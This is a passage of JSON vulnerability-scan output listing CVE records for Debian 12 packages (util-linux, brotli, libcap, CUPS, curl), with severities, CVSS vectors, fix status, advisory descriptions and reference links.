"https://nvd.nist.gov/vuln/detail/CVE-2026-53615", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53615" ], "PublishedDate": "2026-10-14T16:17:46.07Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-78410", "PkgID": "libblkid1@2.38.1-5+deb12u3", "PkgName": "libblkid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libblkid1@2.38.1-5%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "916d1d4dfc61b306" }, "InstalledVersion": "2.38.1-5+deb12u3", "Status": "affected", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78410", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c30f3c2990d1dfc0f82c7fdc156cbd5eecd445563f489b760aae922ce39a32c7", "Title": "util-linux: util-linux: restricted bind mounts do not pin the source, allowing X-mount.owner/group/mode redirection", "Description": "A flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78410", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m", "https://linux.oracle.com/cve/CVE-2026-78410.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78410", "https://www.cve.org/CVERecord?id=CVE-2026-78410" ], "PublishedDate": "2026-09-02T16:17:23.983Z", "LastModifiedDate": "2026-11-05T03:17:33.15Z" }, { "VulnerabilityID": "CVE-2026-111497", "VendorIDs": [ "DLA-4855-1" ], "PkgID": "libbrotli1@1.0.9-2+b6", "PkgName": "libbrotli1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libbrotli1@1.0.9-2%2Bb6?arch=amd64\u0026distro=debian-12.13", "UID": "b194dd52d1cf3e8c" }, "InstalledVersion": "1.0.9-2+b6", "FixedVersion": "1.0.9-2+deb12u1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-111497", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5b364ec60328e0f438f931a16449ccfbb893dcabd2d9774968e6e41be198f216", "Title": "brotli: Out-of-Bounds Write in Google Brotli Decoder", "Description": "A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream.\n\n\n\n\n\nUsers need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1.", "Severity": "CRITICAL", "CweIDs": [ "CWE-252", "CWE-787" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "bitnami": 4, "ghsa": 4, "nvd": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 9.2 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V3Score": 9.8, "V40Score": 9.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/10/23/25", "http://www.openwall.com/lists/oss-security/2026/10/24/6", "http://www.openwall.com/lists/oss-security/2026/10/26/12", "http://www.openwall.com/lists/oss-security/2026/10/26/13", "http://www.openwall.com/lists/oss-security/2026/10/26/16", "http://www.openwall.com/lists/oss-security/2026/11/03/2", "https://access.redhat.com/errata/RHSA-2026:90495", "https://access.redhat.com/errata/RHSA-2026:92492", "https://access.redhat.com/security/cve/CVE-2026-111497", "https://advisory.echohq.com/cve/CVE-2026-111497", "https://broccoli2shell.com", "https://bugzilla.redhat.com/2558973", "https://bugzilla.redhat.com/2562054", "https://bugzilla.redhat.com/show_bug.cgi?id=2558973", "https://cert-portal.siemens.com/productcert/html/ssa-045512.html", "https://cert-portal.siemens.com/productcert/html/ssa-443410.html", "https://cert-portal.siemens.com/productcert/html/ssa-898633.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-111497", "https://devblogs.microsoft.com/dotnet/dotnet-october-2026-oob-security-updates", "https://ellio.tech/en/blog/node2shell-cve-2026-111497-rce-on-stock-nodejs-builds", "https://ellio.tech/en/blog/node2shell-cve-2026-111497-rce-on-stock-nodejs-builds/", "https://errata.almalinux.org/9/ALSA-2026-92492.html", "https://errata.rockylinux.org/RLSA-2026:90495", "https://github.com/advisories/GHSA-9v8h-qqgm-4m35", "https://github.com/andybalholm/brotli/releases/tag/v1.2.7", "https://github.com/dotnet/announcements/issues/494", "https://github.com/google/brotli", "https://github.com/google/brotli/commit/0ed4268a4401abcb4472096340477cf4af7d1a2b", "https://github.com/google/brotli/commit/50a9b70a4d5e1443fc40927952276b68fffa83a0", "https://github.com/google/brotli/commit/b418fa81c48262a86a95332b0bc6d62c30aa78b6", "https://github.com/google/brotli/commit/da9806362874b9bd4b552a3af360b5d6347beb12", "https://github.com/google/brotli/releases/tag/v1.0.10", "https://github.com/google/brotli/releases/tag/v1.1.1", "https://github.com/google/brotli/releases/tag/v1.2.1", "https://github.com/pypa/advisory-database/tree/main/vulns/brotli/PYSEC-2026-4322.yaml", "https://github.com/pypa/advisory-database/tree/main/vulns/brotlicffi/PYSEC-2026-4323.yaml", "https://linux.oracle.com/cve/CVE-2026-111497.html", "https://linux.oracle.com/errata/ELSA-2026-92492.html", "https://lists.debian.org/debian-lts-announce/2026/10/msg00049.html", "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-114148", "https://nodejs.org/en/blog/vulnerability/october-2026-security-releases", "https://nodejs.org/en/blog/vulnerability/october-2026-security-releases#nodejs-brotli-decoder-out-of-bounds-write-permits-remote-code-execution-cve-2026-111497---high", "https://nvd.nist.gov/vuln/detail/CVE-2026-111497", "https://opensourcemalware.com/blog/node2shell-affects-python", "https://patchtheplanet.org/brotli", "https://pypi.org/project/Brotli", "https://pypi.org/project/brotlicffi", "https://ubuntu.com/security/notices/USN-8956-1", "https://ubuntu.com/security/notices/USN-8956-2", "https://ubuntu.com/security/notices/USN-8958-1", "https://www.aikido.dev/blog/node2shell-nodejs-brotli-rce-cve-2026-111497", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-111497", "https://www.cve.org/CVERecord?id=CVE-2026-111497" ], "PublishedDate": "2026-10-22T14:17:37.19Z", "LastModifiedDate": "2026-11-06T16:17:37.393Z" }, { "VulnerabilityID": "CVE-2026-4878", "PkgID": "libcap2@1:2.66-4+deb12u2+b2", "PkgName": "libcap2", "PkgIdentifier": { "PURL": "pkg:deb/debian/libcap2@2.66-4%2Bdeb12u2%2Bb2?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "92f4f91f8bd7c87" }, "InstalledVersion": "1:2.66-4+deb12u2+b2", "FixedVersion": "1:2.66-4+deb12u3", "Status": "fixed", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-4878", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:130066610fc60eac0eb11440c60e401349b555262f888b2420a01c8301712124", "Title": "libcap: libcap: Privilege escalation via TOCTOU race condition in cap_set_file()", "Description": "A flaw was found in libcap. A local unprivileged user can exploit a Time-of-check-to-time-of-use (TOCTOU) race condition in the `cap_set_file()` function. This allows an attacker with write access to a parent directory to redirect file capability updates to an attacker-controlled file. By doing so, capabilities can be injected into or stripped from unintended executables, leading to privilege escalation.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 2, "bottlerocket": 2, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H", "V3Score": 6.7 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-4878", "http://www.openwall.com/lists/oss-security/2026/04/07/14", "http://www.openwall.com/lists/oss-security/2026/04/07/4", "http://www.openwall.com/lists/oss-security/2026/04/08/9", "http://www.openwall.com/lists/oss-security/2026/04/09/5", "http://www.openwall.com/lists/oss-security/2026/04/09/6", "https://access.redhat.com/errata/RHSA-2026:12423", "https://access.redhat.com/errata/RHSA-2026:12441", "https://access.redhat.com/errata/RHSA-2026:13285", "https://access.redhat.com/errata/RHSA-2026:14162", "https://access.redhat.com/errata/RHSA-2026:14937", "https://access.redhat.com/errata/RHSA-2026:19130", "https://access.redhat.com/errata/RHSA-2026:19346", "https://access.redhat.com/errata/RHSA-2026:19456", "https://access.redhat.com/errata/RHSA-2026:19458", "https://access.redhat.com/errata/RHSA-2026:20595", "https://access.redhat.com/errata/RHSA-2026:21254", "https://access.redhat.com/errata/RHSA-2026:21275", "https://access.redhat.com/errata/RHSA-2026:22634", "https://access.redhat.com/errata/RHSA-2026:22957", "https://access.redhat.com/errata/RHSA-2026:23233", "https://access.redhat.com/errata/RHSA-2026:23245", "https://access.redhat.com/errata/RHSA-2026:24346", "https://access.redhat.com/errata/RHSA-2026:25044", "https://access.redhat.com/errata/RHSA-2026:25096", "https://access.redhat.com/errata/RHSA-2026:25181", "https://access.redhat.com/errata/RHSA-2026:26542", "https://access.redhat.com/errata/RHSA-2026:27998", "https://access.redhat.com/errata/RHSA-2026:28887", "https://access.redhat.com/errata/RHSA-2026:29197", "https://access.redhat.com/errata/RHSA-2026:30078", "https://access.redhat.com/errata/RHSA-2026:30087", "https://access.redhat.com/errata/RHSA-2026:30088", "https://access.redhat.com/errata/RHSA-2026:30089", "https://access.redhat.com/errata/RHSA-2026:34098", "https://access.redhat.com/errata/RHSA-2026:39981", "https://access.redhat.com/errata/RHSA-2026:58981", "https://access.redhat.com/errata/RHSA-2026:59831", "https://access.redhat.com/errata/RHSA-2026:72502", "https://access.redhat.com/errata/RHSA-2026:74674", "https://access.redhat.com/errata/RHSA-2026:7473", "https://access.redhat.com/errata/RHSA-2026:82304", "https://access.redhat.com/errata/RHSA-2026:82322", "https://access.redhat.com/errata/RHSA-2026:82347", "https://access.redhat.com/errata/RHSA-2026:82354", "https://access.redhat.com/errata/RHSA-2026:82372", "https://access.redhat.com/errata/RHSA-2026:82857", "https://access.redhat.com/errata/RHSA-2026:82888", "https://access.redhat.com/security/cve/CVE-2026-4878", "https://bugzilla.redhat.com/2451615", "https://bugzilla.redhat.com/show_bug.cgi?id=2447554", "https://bugzilla.redhat.com/show_bug.cgi?id=2451615", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-4878", "https://errata.almalinux.org/9/ALSA-2026-19346.html", "https://errata.rockylinux.org/RLSA-2026:19346", "https://github.com/AndrewGMorgan/libcap_mirror/security/advisories/GHSA-f78v-p5hx-m7hh", "https://github.com/bottlerocket-os/bottlerocket-core-kit/blob/develop/advisories/14.5.0/BRSA-b8okc9cb56gk.toml", "https://linux.oracle.com/cve/CVE-2026-4878.html", "https://linux.oracle.com/errata/ELSA-2026-19346.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-4878", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-4878.json", "https://sites.google.com/site/fullycapable/release-notes-for-libcap#h.x4zn8j3lss6r", "https://ubuntu.com/security/notices/USN-8193-1", "https://ubuntu.com/security/notices/USN-8193-2", "https://www.cve.org/CVERecord?id=CVE-2026-4878" ], "PublishedDate": "2026-04-09T16:16:31.987Z", "LastModifiedDate": "2026-11-04T23:17:39.403Z" }, { "VulnerabilityID": "CVE-2026-34980", "PkgID": "libcups2@2.4.2-3+deb12u9", "PkgName": "libcups2", "PkgIdentifier": { "PURL": "pkg:deb/debian/libcups2@2.4.2-3%2Bdeb12u9?arch=amd64\u0026distro=debian-12.13", "UID": "fbb830847d618b07" }, "InstalledVersion": "2.4.2-3+deb12u9", "Status": "affected", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-34980", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cf1064a1402a46e1e7efdd3e548b926091973b5f4997b165940af693c00c0a51", "Title": "cups: OpenPrinting CUPS: Shared PostScript queue lets anonymous Print-Job requests reach `lp` code execution over the network", "Description": "OpenPrinting CUPS is an open source printing system for Linux and other Unix-like operating systems. In versions 2.4.16 and prior, in a network-exposed cupsd with a shared target queue, an unauthorized client can send a Print-Job to that shared PostScript queue without authentication. The server accepts a page-border value supplied as textWithoutLanguage, preserves an embedded newline through option escaping and reparse, and then reparses the resulting second-line PPD: text as a trusted scheduler control record. A follow-up raw print job can therefore make the server execute an attacker-chosen existing binary such as /usr/bin/vim as lp. At time of publication, there are no publicly available patches.", "Severity": "HIGH", "CweIDs": [ "CWE-20" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 2, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L", "V3Score": 6.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:39316", "https://access.redhat.com/security/cve/CVE-2026-34980", "https://bugzilla.redhat.com/2454954", "https://bugzilla.redhat.com/show_bug.cgi?id=2454954", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34980", "https://errata.almalinux.org/9/ALSA-2026-39316.html", "https://errata.rockylinux.org/RLSA-2026:39316", "https://github.com/OpenPrinting/cups/security/advisories/GHSA-4852-v58g-6cwf", "https://linux.oracle.com/cve/CVE-2026-34980.html", "https://linux.oracle.com/errata/ELSA-2026-39316.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-34980", "https://ubuntu.com/security/notices/USN-8405-1", "https://ubuntu.com/security/notices/USN-8578-1", "https://www.cve.org/CVERecord?id=CVE-2026-34980" ], "PublishedDate": "2026-04-03T22:16:27.243Z", "LastModifiedDate": "2026-07-24T21:10:00.143Z" }, { "VulnerabilityID": "CVE-2026-55453", "PkgID": "libcups2@2.4.2-3+deb12u9", "PkgName": "libcups2", "PkgIdentifier": { "PURL": "pkg:deb/debian/libcups2@2.4.2-3%2Bdeb12u9?arch=amd64\u0026distro=debian-12.13", "UID": "fbb830847d618b07" }, "InstalledVersion": "2.4.2-3+deb12u9", "Status": "affected", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-55453", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6e67e0c5ecd203f9b7ce4d81853a59b82904941800ec15047ed0d414546e2359", "Title": "cups: cups: Arbitrary code execution via newline injection in printer status messages", "Description": "OpenPrinting CUPS is an open source printing system for Linux and other Unix-like operating systems. Prior to 2.4.20, the backend/ipp.c quote_string() function preserves carriage-return and line-feed characters in a remote printer-controlled marker-message before report_attr() writes the value to the scheduler status stream. The scheduler can parse an injected newline as a separate PPD: control line and persist an attacker-selected PPD keyword. The reporter demonstrated that a later print job on a Foomatic-backed queue could consume an injected FoomaticRIPCommandLine value and execute in the filter context as lp. This issue is fixed in version 2.4.20.", "Severity": "HIGH", "CweIDs": [ "CWE-74", "CWE-77", "CWE-78" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-55453", "https://github.com/OpenPrinting/cups/commit/806e1b483096c51d59432468f4afdd7387d81dd7", "https://github.com/OpenPrinting/cups/commit/d41cf0616688721e9d435d54118c4c8a36ed596a", "https://github.com/OpenPrinting/cups/releases/tag/v2.4.20", "https://github.com/OpenPrinting/cups/security/advisories/GHSA-7hqf-mfhx-7r3v", "https://nvd.nist.gov/vuln/detail/CVE-2026-55453", "https://www.cve.org/CVERecord?id=CVE-2026-55453" ], "PublishedDate": "2026-10-15T18:17:27.677Z", "LastModifiedDate": "2026-10-20T19:38:09.283Z" }, { "VulnerabilityID": "CVE-2026-12064", "PkgID": "libcurl3-gnutls@7.88.1-10+deb12u14", "PkgName": "libcurl3-gnutls", "PkgIdentifier": { "PURL": "pkg:deb/debian/libcurl3-gnutls@7.88.1-10%2Bdeb12u14?arch=amd64\u0026distro=debian-12.13", "UID": "79806a9e07f8146d" }, "InstalledVersion": "7.88.1-10+deb12u14", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-12064", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:250ce3278c86e9899dbfca47dac5f8ebd12ea930ee34b23f7c4d4b4f779ded0e", "Title": "curl: curl: SSH host verification bypass when using schemeless URLs with SFTP/SCP", "Description": "When a user invokes curl using a schemeless URL combined with\n`--proto-default` sftp (or scp), a disconnect occurs between the tool layer\nand libcurl. The tool layer incorrectly infers the URL scheme, which\nerroneously bypasses the initialization of critical SSH security options like\nCURLOPT_SSH_HOST_PUBLIC_KEY_SHA256 and CURLOPT_SSH_KNOWNHOSTS. Conversely, the\nlibcurl runtime successfully honors CURLOPT_DEFAULT_PROTOCOL and establishes\nthe connection via SFTP/SCP as specified. Because the tool layer skipped the\nsecurity configuration, these SSH host verification options are silently\nomitted, causing curl to connect to an unverified SSH remote host without\nthrowing an error.", "Severity": "HIGH", "CweIDs": [ "CWE-297", "CWE-295" ], "VendorSeverity": { "amazon": 2, "azure": 3, "julia": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-12064", "https://curl.se/L7HzKXisfJ/CVE-2026-12064.md", "https://curl.se/docs/CVE-2026-12064.html", "https://curl.se/docs/CVE-2026-12064.json", "https://github.com/advisories/GHSA-jm94-9f7h-36pr", "https://hackerone.com/reports/3797526", "https://linux.oracle.com/cve/CVE-2026-12064.html", "https://linux.oracle.com/errata/ELSA-2026-55450.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-12064", "https://ubuntu.com/security/notices/USN-8525-1", "https://www.cve.org/CVERecord?id=CVE-2026-12064" ], "PublishedDate": "2026-07-03T07:16:24.217Z", "LastModifiedDate": "2026-09-15T07:16:26.15Z" }, { "VulnerabilityID": "CVE-2026-5773", "PkgID": "libcurl3-gnutls@7.88.1-10+deb12u14", "PkgName": "libcurl3-gnutls", "PkgIdentifier": { "PURL": "pkg:deb/debian/libcurl3-gnutls@7.88.1-10%2Bdeb12u14?arch=amd64\u0026distro=debian-12.13", "UID": "79806a9e07f8146d" }, "InstalledVersion": "7.88.1-10+deb12u14", "FixedVersion": "7.88.1-10+deb12u15", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-5773", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:88103f8bc4bfd8062e54b00c169c274e71acefbeff5d604f93233e70cc1f5ca4", "Title": "curl: libcurl: Wrong file transfer due to incorrect SMB connection reuse", "Description": "libcurl might in some circumstances reuse the wrong connection for SMB(S)\ntransfers.\n\nlibcurl features a pool of recent connections so that subsequent requests can\nreuse an existing connection to avoid overhead.\n\nWhen reusing a connection a range of criteria must be met. Due to a logical\nerror in the code, a network transfer operation that was requested by an\napplication could wrongfully reuse an existing SMB connection to the same\nserver that was using a different \"share\" than the new subsequent transfer\nshould.\n\nThis could in unlucky situations lead to the download of the wrong file or the\nupload of a file to the wrong place. When this happens, the same credentials\nare used and the server name is the same.", "Severity": "HIGH", "CweIDs": [ "CWE-488", "CWE-918" ], "VendorSeverity": { "julia": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "V3Score": 6.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/04/29/9", "https://access.redhat.com/security/cve/CVE-2026-5773", "https://curl.se/docs/CVE-2026-5773.html", "https://curl.se/docs/CVE-2026-5773.json", "https://github.com/advisories/GHSA-rp9q-8q5w-ch44", "https://hackerone.com/reports/3650689", "https://nvd.nist.gov/vuln/detail/CVE-2026-5773", "https://ubuntu.com/security/notices/USN-8227-1", "https://ubuntu.com/security/notices/USN-8525-1", "https://www.cve.org/CVERecord?id=CVE-2026-5773" ], "PublishedDate": "2026-05-13T13:01:56.307Z", "LastModifiedDate": "2026-09-15T07:16:28.82Z" }, { "VulnerabilityID": "CVE-2026-6276", "PkgID": "libcurl3-gnutls@7.88.1-10+deb12u14", "PkgName": "libcurl3-gnutls", "PkgIdentifier": { "PURL": "pkg:deb/debian/libcurl3-gnutls@7.88.1-10%2Bdeb12u14?arch=amd64\u0026distro=debian-12.13", "UID": "79806a9e07f8146d" }, "InstalledVersion": "7.88.1-10+deb12u14", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-6276", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3429fd76b2f618065fd2b99e46cde9055d2f5a63f88b7ddb4f10d08e42c8d8dd", "Title": "curl: libcurl: Information disclosure due to cookie leak when reusing connections with custom Host headers", "Description": "Using libcurl, when a custom `Host:` header is first set for an HTTP request\nand a second request is subsequently done using the same *easy handle* but\nwithout the custom `Host:` header set, the second request would use stale\ninformation and pass on cookies meant for the first host in the second\nrequest. Leak them.", "Severity": "HIGH", "CweIDs": [ "CWE-346", "CWE-319" ], "VendorSeverity": { "azure": 2, "julia": 3, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "V3Score": 3.7 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/04/29/13", "https://access.redhat.com/security/cve/CVE-2026-6276", "https://curl.se/docs/CVE-2026-6276.html", "https://curl.se/docs/CVE-2026-6276.json", "https://github.com/advisories/GHSA-2jc6-hc33-hv48", "https://hackerone.com/reports/3671818", "https://nvd.nist.gov/vuln/detail/CVE-2026-6276", "https://ubuntu.com/security/notices/USN-8227-1", "https://www.cve.org/CVERecord?id=CVE-2026-6276" ], "PublishedDate": "2026-05-13T13:01:56.8Z", "LastModifiedDate": "2026-09-15T07:16:29.343Z" }, { "VulnerabilityID": "CVE-2026-8286", "PkgID": "libcurl3-gnutls@7.88.1-10+deb12u14", "PkgName": "libcurl3-gnutls", "PkgIdentifier": { "PURL": "pkg:deb/debian/libcurl3-gnutls@7.88.1-10%2Bdeb12u14?arch=amd64\u0026distro=debian-12.13", "UID": "79806a9e07f8146d" }, "InstalledVersion": "7.88.1-10+deb12u14", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8286", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6fa027265c58bb92c62b7d39d278f58a98f01133020f1adf126d80facd457884", "Title": "curl: curl: Insecure connection establishment due to TLS configuration mismatch", "Description": "A vulnerability exists where a new transfer that uses STARTTLS to upgrade the\nconnection might reuse an existing live connection even though the TLS\nconfiguration mismatches so it should not.", "Severity": "HIGH", "CweIDs": [ "CWE-295" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "julia": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "V3Score": 8.1 